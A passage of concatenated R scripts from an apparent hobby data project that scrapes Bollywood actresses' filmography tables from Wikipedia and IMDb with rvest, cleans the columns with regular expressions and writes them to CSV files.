# convert `table_amritasingh` from `list` into `data.frame`
names(table_amritasingh) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_amritasingh$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_amritasingh$Year)
table_amritasingh$Year <- str_trim(string = table_amritasingh$Year)
# clean text in column-2
table_amritasingh$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_amritasingh$Film)
table_amritasingh$Film <- str_trim(string = table_amritasingh$Film)
# clean text in column-3
table_amritasingh$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_amritasingh$Role)
table_amritasingh$Role <- str_trim(string = table_amritasingh$Role)
# clean text in column-4
table_amritasingh$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_amritasingh$Notes)
table_amritasingh$Notes <- str_trim(string = table_amritasingh$Notes)
write.csv(x = table_amritasingh, file = "amrita_singh.csv")
<file_sep>/actresses/simran.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Simran_(actress)'
# Assign the wiki url to `file_url`
table_simran <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_simran <- table_simran[[1]]
# convert `table_simran` from `list` into `data.frame`
names(table_simran) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_simran$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_simran$Year)
table_simran$Year <- str_trim(string = table_simran$Year)
# clean text in column-2
table_simran$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_simran$Film)
table_simran$Film <- str_trim(string = table_simran$Film)
# clean text in column-3
table_simran$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_simran$Role)
table_simran$Role <- str_trim(string = table_simran$Role)
# clean text in column-4
table_simran$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_simran$Language)
table_simran$Language <- str_trim(string = table_simran$Language)
# clean text in column-5
table_simran$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_simran$Notes)
table_simran$Notes <- str_trim(string = table_simran$Notes)
table_simran <- select(table_simran, Year, Film, Role, Notes, Language)
table_simran <- arrange(table_simran, Year, Film)
write.csv(x = table_simran, file = "simran.csv")
<file_sep>/actresses/aishwarya.R
# Scrape Bollywood Actress data
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
file_url <- "http://www.imdb.com/name/nm0706787/"
# Assign the wiki url to `file_url`
Year <- file_url %>%
read_html() %>%
html_nodes(css = '#filmography :nth-child(2) .filmo-row .year_column') %>%
html_text() %>%
gsub(pattern = "\n|/I", replacement = "") %>%
str_trim()
Film <- file_url %>%
read_html() %>%
html_nodes(css = '#filmography :nth-child(2) .filmo-row b a') %>%
html_text() %>%
gsub(pattern = "\\.\\.\\.", replacement = "") %>%
str_trim()
table_aishwarya <- data.frame(Year, Film, stringsAsFactors = F)
write.csv(x = table_aishwarya, file = "aishwarya.csv")
<file_sep>/actresses/mala_sinha.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Mala_Sinha"
# Assign the wiki url to `file_url`
text_malasinha <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[3]') %>%
html_text(trim = T)
# clean text
text_malasinha <- str_split(string = text_malasinha, pattern = "\n")
text_malasinha <- text_malasinha[[1]]
text_malasinha <- as.data.frame(text_malasinha)
# convert `text_malasinha` `list` into `data.frame`
text_malasinha[2] <- NA
# Initialize 2nd column of `text_malasinha`
text_malasinha[3] <- NA
# Initialize 3rd column of `text_malasinha`
names(text_malasinha) <- c("Year", "Film", "Acted_with")
# rename columns of `text_malasinha`
text_malasinha$Film <- text_malasinha$Year
# copy column-1 data to column-2
text_malasinha$Acted_with <- text_malasinha$Year
# copy column-1 data to column-3
# clean text in column-1
text_malasinha$Year <- gsub(pattern = ".*([0-9]{4}).*", replacement = "\\1", x = text_malasinha$Year)
text_malasinha$Year <- str_trim(string = text_malasinha$Year)
# clean text in column-2
text_malasinha$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_malasinha$Film)
text_malasinha$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_malasinha$Film)
text_malasinha$Film <- gsub(pattern = "(.*)\\'\\'", replacement = "\\1", x = text_malasinha$Film)
text_malasinha$Film <- str_trim(string = text_malasinha$Film)
# clean text in column-3
text_malasinha$Acted_with <- gsub(pattern = ".*\\({1}(.*)", replacement = "\\1", x = text_malasinha$Acted_with)
text_malasinha$Acted_with <- gsub(pattern = "[0-9]*", replacement = "", x = text_malasinha$Acted_with)
text_malasinha$Acted_with <- gsub(pattern = "\\)", replacement = "", x = text_malasinha$Acted_with)
text_malasinha$Acted_with <- gsub(pattern = "(.*)N{1}.*", replacement = "\\1", x = text_malasinha$Acted_with)
text_malasinha$Acted_with <- str_trim(string = text_malasinha$Acted_with)
text_malasinha$Acted_with <- gsub(pattern = "[^a-zA-Z]$", replacement = "", x = text_malasinha$Acted_with)
text_malasinha$Acted_with <- str_trim(string = text_malasinha$Acted_with)
write.csv(x = text_malasinha, file = "mala_sinha.csv")
<file_sep>/actresses/padmini_kolhapure.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Padmini_Kolhapure"
# Assign the wiki url to `file_url`
table_padmini <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_padmini <- table_padmini[[1]]
# convert `table_padmini` from `list` into `data.frame`
# clean text in column-2
table_padmini$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_padmini$Film)
table_padmini$Film <- str_trim(string = table_padmini$Film)
# clean text in column-3
table_padmini$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_padmini$Role)
table_padmini$Role <- str_trim(string = table_padmini$Role)
# clean text in column-4
table_padmini$Notes <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_padmini$Notes)
table_padmini$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_padmini$Notes)
table_padmini$Notes <- str_trim(string = table_padmini$Notes)
write.csv(x = table_padmini, file = "padmini_kolhapure.csv")
<file_sep>/actresses/shilpa_shetty.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Shilpa_Shetty'
# Assign the wiki url to `file_url`
table_shilpashetty <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[4]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_shilpashetty <- table_shilpashetty[[1]]
# convert `table_shilpashetty` from `list` into `data.frame`
names(table_shilpashetty) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_shilpashetty$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_shilpashetty$Year)
table_shilpashetty$Year <- str_trim(string = table_shilpashetty$Year)
# clean text in column-2
table_shilpashetty$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashetty$Film)
table_shilpashetty$Film <- gsub(pattern = "\\.\\.\\.", replacement = " ", x = table_shilpashetty$Film)
table_shilpashetty$Film <- str_trim(string = table_shilpashetty$Film)
# clean text in column-3
table_shilpashetty$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashetty$Role)
table_shilpashetty$Role <- str_trim(string = table_shilpashetty$Role)
# clean text in column-4
table_shilpashetty$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashetty$Language)
table_shilpashetty$Language <- str_trim(string = table_shilpashetty$Language)
# clean text in column-5
table_shilpashetty$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashetty$Notes)
table_shilpashetty$Notes <- str_trim(string = table_shilpashetty$Notes)
table_shilpashetty <- select(table_shilpashetty, Year, Film, Role, Notes, Language)
table_shilpashetty <- arrange(table_shilpashetty, Year, Film)
write.csv(x = table_shilpashetty, file = "shilpa_shetty.csv")
<file_sep>/actresses/karisma_kapoor.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Karisma_Kapoor_filmography'
# Assign the wiki url to `file_url`
table_karisma <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_karisma <- table_karisma[[1]]
# convert `table_karisma` from `list` into `data.frame`
names(table_karisma) <- c("Year", "Film", "Role", "Director", "Notes", "Ref")
# rename columns
# clean text in column-1
table_karisma$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_karisma$Year)
table_karisma$Year <- str_trim(string = table_karisma$Year)
# clean text in column-2
table_karisma$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_karisma$Film)
table_karisma$Film <- str_trim(string = table_karisma$Film)
# clean text in column-3
table_karisma$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_karisma$Role)
table_karisma$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_karisma$Role)
table_karisma$Role <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_karisma$Role)
table_karisma$Role <- str_trim(string = table_karisma$Role)
# clean text in column-4
table_karisma$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_karisma$Director)
table_karisma$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_karisma$Director)
table_karisma$Director <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_karisma$Director)
table_karisma$Director <- str_trim(string = table_karisma$Director)
# clean text in column-5
table_karisma$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_karisma$Notes)
table_karisma$Notes <- str_trim(string = table_karisma$Notes)
table_karisma <- select(table_karisma, Year, Film, Role, Notes, Director)
write.csv(x = table_karisma, file = "karisma_kapoor.csv")
<file_sep>/actresses/jaya_prada.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Jaya_Prada'
# Assign the wiki url to `file_url`
table_jayaprada <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_jayaprada <- table_jayaprada[[1]]
# convert `table_jayaprada` from `list` into `data.frame`
names(table_jayaprada) <- c("Year", "Film", "Language", "Notes")
# rename columns
# clean text in column-2
table_jayaprada$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_jayaprada$Film)
table_jayaprada$Film <- str_trim(string = table_jayaprada$Film)
# clean text in column-3
table_jayaprada$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_jayaprada$Language)
table_jayaprada$Language <- str_trim(string = table_jayaprada$Language)
# clean text in column-4
table_jayaprada$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_jayaprada$Notes)
table_jayaprada$Notes <- str_trim(string = table_jayaprada$Notes)
write.csv(x = table_jayaprada, file = "jaya_prada.csv")
<file_sep>/actresses/rani_mukerji.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Rani_Mukerji_filmography'
# Assign the wiki url to `file_url`
table_ranimukerji <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_ranimukerji <- table_ranimukerji[[1]]
# convert `table_ranimukerji` from `list` into `data.frame`
names(table_ranimukerji) <- c("Film", "Year", "Role", "Director", "Notes", "Ref")
# rename columns
# clean text in column-1
table_ranimukerji$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_ranimukerji$Film)
table_ranimukerji$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_ranimukerji$Film)
table_ranimukerji$Film <- str_trim(string = table_ranimukerji$Film)
# clean text in column-2
table_ranimukerji$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_ranimukerji$Year)
table_ranimukerji$Year <- str_trim(string = table_ranimukerji$Year)
# clean text in column-3
table_ranimukerji$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_ranimukerji$Role)
table_ranimukerji$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_ranimukerji$Role)
table_ranimukerji$Role <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_ranimukerji$Role)
table_ranimukerji$Role <- str_trim(string = table_ranimukerji$Role)
# clean text in column-4
table_ranimukerji$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_ranimukerji$Director)
table_ranimukerji$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_ranimukerji$Director)
table_ranimukerji$Director <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_ranimukerji$Director)
table_ranimukerji$Director <- str_trim(string = table_ranimukerji$Director)
# clean text in column-5
table_ranimukerji$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_ranimukerji$Notes)
table_ranimukerji$Notes <- str_trim(string = table_ranimukerji$Notes)
table_ranimukerji <- select(table_ranimukerji, Year, Film, Role, Notes, Director)
table_ranimukerji <- arrange(table_ranimukerji, Year, Film)
write.csv(x = table_ranimukerji, file = "rani_mukerji.csv")
<file_sep>/actresses/tabu.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Tabu_filmography'
# Assign the wiki url to `file_url`
table_tabu <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_tabu <- table_tabu[[1]]
# convert `table_tabu` from `list` into `data.frame`
names(table_tabu) <- c("Film", "Year", "Role", "Language", "Director", "Notes", "Ref")
# rename columns
# clean text in column-1
table_tabu$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_tabu$Film)
table_tabu$Film <- gsub(pattern = "(.*)!.*", replacement = "\\1", x = table_tabu$Film)
table_tabu$Film <- gsub(pattern = "(.*)\\.\\.\\.", replacement = "\\1", x = table_tabu$Film)
table_tabu$Film <- str_trim(string = table_tabu$Film)
# clean text in column-2
table_tabu$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_tabu$Year)
table_tabu$Year <- gsub(pattern = "(.*)!.*", replacement = "\\1", x = table_tabu$Year)
table_tabu$Year <- str_trim(string = table_tabu$Year)
# clean text in column-3
table_tabu$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_tabu$Role)
table_tabu$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_tabu$Role)
table_tabu$Role <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_tabu$Role)
table_tabu$Role <- str_trim(string = table_tabu$Role)
# clean text in column-4
table_tabu$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_tabu$Language)
table_tabu$Language <- str_trim(string = table_tabu$Language)
# clean text in column-5
table_tabu$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_tabu$Director)
table_tabu$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_tabu$Director)
table_tabu$Director <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_tabu$Director)
table_tabu$Director <- str_trim(string = table_tabu$Director)
# clean text in column-6
table_tabu$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_tabu$Notes)
table_tabu$Notes <- str_trim(string = table_tabu$Notes)
table_tabu <- select(table_tabu, Year, Film, Role, Notes, Language, Director)
write.csv(x = table_tabu, file = "tabu.csv")
<file_sep>/actresses/babita.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Babita'
# Assign the wiki url to `file_url`
table_babita <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_babita <- table_babita[[1]]
# convert `table_babita` from `list` into `data.frame`
names(table_babita) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_babita$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_babita$Year)
table_babita$Year <- str_trim(string = table_babita$Year)
# clean text in column-2
table_babita$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_babita$Film)
table_babita$Film <- str_trim(string = table_babita$Film)
# clean text in column-3
table_babita$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_babita$Role)
table_babita$Role <- str_trim(string = table_babita$Role)
# clean text in column-4
table_babita$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_babita$Notes)
table_babita$Notes <- str_trim(string = table_babita$Notes)
table_babita <- select(table_babita, Year, Film, Role, Notes)
table_babita <- arrange(table_babita, Year, Film)
write.csv(x = table_babita, file = "babita.csv")
<file_sep>/actresses/nalini_jaywant.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Nalini_Jaywant"
# Assign the wiki url to `file_url`
table_nalinijaywant <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[1]') %>%
html_text(trim = T)
# text cleaning
table_nalinijaywant <- str_split(string = table_nalinijaywant, pattern = "\n")
table_nalinijaywant <- table_nalinijaywant[[1]]
table_nalinijaywant <- as.character(table_nalinijaywant)
table_nalinijaywant <- as.data.frame(table_nalinijaywant)
# convert `table_nalinijaywant` `list` into `data.frame`
table_nalinijaywant[2] <- NA
# Initialize 2nd column of `text.nargis`
names(table_nalinijaywant) <- c("Year", "Film")
# rename columns of `text.nargis`
table_nalinijaywant$Film <- table_nalinijaywant$Year
# copy column-1 data to column-2
# clean text in column-1
table_nalinijaywant$Year <- gsub(pattern = '.*\\((.*)\\).*', replacement = '\\1', x = table_nalinijaywant$Year)
table_nalinijaywant$Year <- str_trim(string = table_nalinijaywant$Year)
# clean text in column-2
table_nalinijaywant$Film <- gsub(pattern = '(.*)\\(.*\\).*', replacement = '\\1', x = table_nalinijaywant$Film)
table_nalinijaywant$Film <- str_trim(table_nalinijaywant$Film)
write.csv(x = table_nalinijaywant, file = "nalini_jaywant.csv")
<file_sep>/actresses/mumtaz.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Mumtaz_(actress)'
# Assign the wiki url to `file_url`
table_mumtaz <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_mumtaz <- table_mumtaz[[1]]
# convert `table_mumtaz` from `list` into `data.frame`
names(table_mumtaz) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_mumtaz$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_mumtaz$Year)
table_mumtaz$Year <- str_trim(string = table_mumtaz$Year)
# clean text in column-2
table_mumtaz$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_mumtaz$Film)
table_mumtaz$Film <- str_trim(string = table_mumtaz$Film)
# clean text in column-3
table_mumtaz$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_mumtaz$Role)
table_mumtaz$Role <- str_trim(string = table_mumtaz$Role)
# clean text in column-4
table_mumtaz$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_mumtaz$Notes)
table_mumtaz$Notes <- str_trim(string = table_mumtaz$Notes)
table_mumtaz <- select(table_mumtaz, Year, Film, Role, Notes)
table_mumtaz <- arrange(table_mumtaz, Year, Film)
write.csv(x = table_mumtaz, file = "mumtaz.csv")
<file_sep>/actresses/juhi_chawla.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Juhi_Chawla'
# Assign the wiki url to `file_url`
table_juhichawla <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_juhichawla <- table_juhichawla[[1]]
# convert `table_juhichawla` from `list` into `data.frame`
names(table_juhichawla) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_juhichawla$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_juhichawla$Year)
table_juhichawla$Year <- str_trim(string = table_juhichawla$Year)
# clean text in column-2
table_juhichawla$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_juhichawla$Film)
table_juhichawla$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_juhichawla$Film)
table_juhichawla$Film <- str_trim(string = table_juhichawla$Film)
# clean text in column-3
table_juhichawla$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_juhichawla$Role)
table_juhichawla$Role <- str_trim(string = table_juhichawla$Role)
# clean text in column-4
table_juhichawla$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_juhichawla$Notes)
table_juhichawla$Notes <- str_trim(string = table_juhichawla$Notes)
table_juhichawla <- select(table_juhichawla, Year, Film, Role, Notes)
write.csv(x = table_juhichawla, file = "juhi_chawla.csv")
<file_sep>/actresses/seema_biswas.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Seema_Biswas'
# Assign the wiki url to `file_url`
table_seemabiswas <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_seemabiswas <- table_seemabiswas[[1]]
# convert `table_seemabiswas` from `list` into `data.frame`
names(table_seemabiswas) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_seemabiswas$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_seemabiswas$Year)
table_seemabiswas$Year <- str_trim(string = table_seemabiswas$Year)
# clean text in column-2
table_seemabiswas$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_seemabiswas$Film)
table_seemabiswas$Film <- str_trim(string = table_seemabiswas$Film)
# clean text in column-3
table_seemabiswas$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_seemabiswas$Role)
table_seemabiswas$Role <- str_trim(string = table_seemabiswas$Role)
# clean text in column-4
table_seemabiswas$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_seemabiswas$Language)
table_seemabiswas$Language <- str_trim(string = table_seemabiswas$Language)
# clean text in column-5
table_seemabiswas$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_seemabiswas$Notes)
table_seemabiswas$Notes <- str_trim(string = table_seemabiswas$Notes)
table_seemabiswas <- select(table_seemabiswas, Year, Film, Role, Language, Notes)
write.csv(x = table_seemabiswas, file = "seema_biswas.csv")
<file_sep>/actresses/twinkle_khanna.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Twinkle_Khanna'
# Assign the wiki url to `file_url`
table_twinklekhanna <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_twinklekhanna <- table_twinklekhanna[[1]]
# convert `table_twinklekhanna` from `list` into `data.frame`
names(table_twinklekhanna) <- c("Film", "Year", "Role", "Notes", "Ref")
# rename columns
# clean text in column-1
table_twinklekhanna$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_twinklekhanna$Film)
table_twinklekhanna$Film <- str_trim(string = table_twinklekhanna$Film)
# clean text in column-2
table_twinklekhanna$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_twinklekhanna$Year)
table_twinklekhanna$Year <- str_trim(string = table_twinklekhanna$Year)
# clean text in column-3
table_twinklekhanna$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_twinklekhanna$Role)
table_twinklekhanna$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_twinklekhanna$Role)
table_twinklekhanna$Role <- str_trim(string = table_twinklekhanna$Role)
# clean text in column-4
table_twinklekhanna$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_twinklekhanna$Notes)
table_twinklekhanna$Notes <- str_trim(string = table_twinklekhanna$Notes)
# clean text in column-5
table_twinklekhanna$Ref <- gsub(pattern = "^$", replacement = NA_character_, x = table_twinklekhanna$Ref)
table_twinklekhanna$Ref <- str_trim(string = table_twinklekhanna$Ref)
table_twinklekhanna <- select(table_twinklekhanna, Year, Film, Role, Notes)
table_twinklekhanna <- arrange(table_twinklekhanna, Year, Film)
write.csv(x = table_twinklekhanna, file = "twinkle_khanna.csv")
<file_sep>/actresses/suraiya.R
# Scrape Bollywood Actress names from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr)# Load `stringr` package
setwd(dir = "~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Suraiya"
# Assign the wiki url to `file_url`
table_suraiya <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_suraiya <- table_suraiya[[1]]
# Convert `table_suraiya` from list into `data.frame`
names(table_suraiya) <- c("Year", "Film", "Director",
"Producer", "Role", "Cast", "Music_Director", "Notes")
# rename the columns in `table_suraiya`
table_suraiya <- select(table_suraiya, -Notes, -Cast)
# Remove unnecessary columns from `data.frame` `table_suraiya`
tmp <- table_suraiya$Director[1]
# Get "hyphen" directly from the `data.frame` as it is in different format
# clean data
table_suraiya$Year <- ifelse(table_suraiya$Year %in% c('', '-', tmp), NA_character_, table_suraiya$Year)
table_suraiya$Film <- ifelse(table_suraiya$Film %in% c('', '-', tmp), NA_character_, table_suraiya$Film)
table_suraiya$Director <- ifelse(table_suraiya$Director %in% c('', '-', tmp), NA_character_, table_suraiya$Director)
table_suraiya$Producer <- ifelse(table_suraiya$Producer %in% c('', '-', tmp), NA_character_, table_suraiya$Producer)
table_suraiya$Role <- ifelse(table_suraiya$Role %in% c('', '-', tmp), NA_character_, table_suraiya$Role)
table_suraiya$Music_Director <- ifelse(table_suraiya$Music_Director %in% c('', '-', tmp), NA_character_, table_suraiya$Music_Director)
# clean column `Film`
table_suraiya$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_suraiya$Film)
table_suraiya$Film <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_suraiya$Film)
table_suraiya$Film <- str_trim(string = table_suraiya$Film)
write.csv(x = table_suraiya, file = "suraiya.csv")
<file_sep>/actresses/reena_roy.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Reena_Roy"
# Assign the wiki url to `file_url`
table_reenaroy <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_reenaroy <- table_reenaroy[[1]]
# convert `table_reenaroy` from `list` into `data.frame`
# clean text in column-2
table_reenaroy$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_reenaroy$Film)
table_reenaroy$Film <- str_trim(string = table_reenaroy$Film)
# clean text in column-3
table_reenaroy$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_reenaroy$Role)
table_reenaroy$Role <- str_trim(string = table_reenaroy$Role)
# clean text in column-4
table_reenaroy$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_reenaroy$Notes)
table_reenaroy$Notes <- str_trim(string = table_reenaroy$Notes)
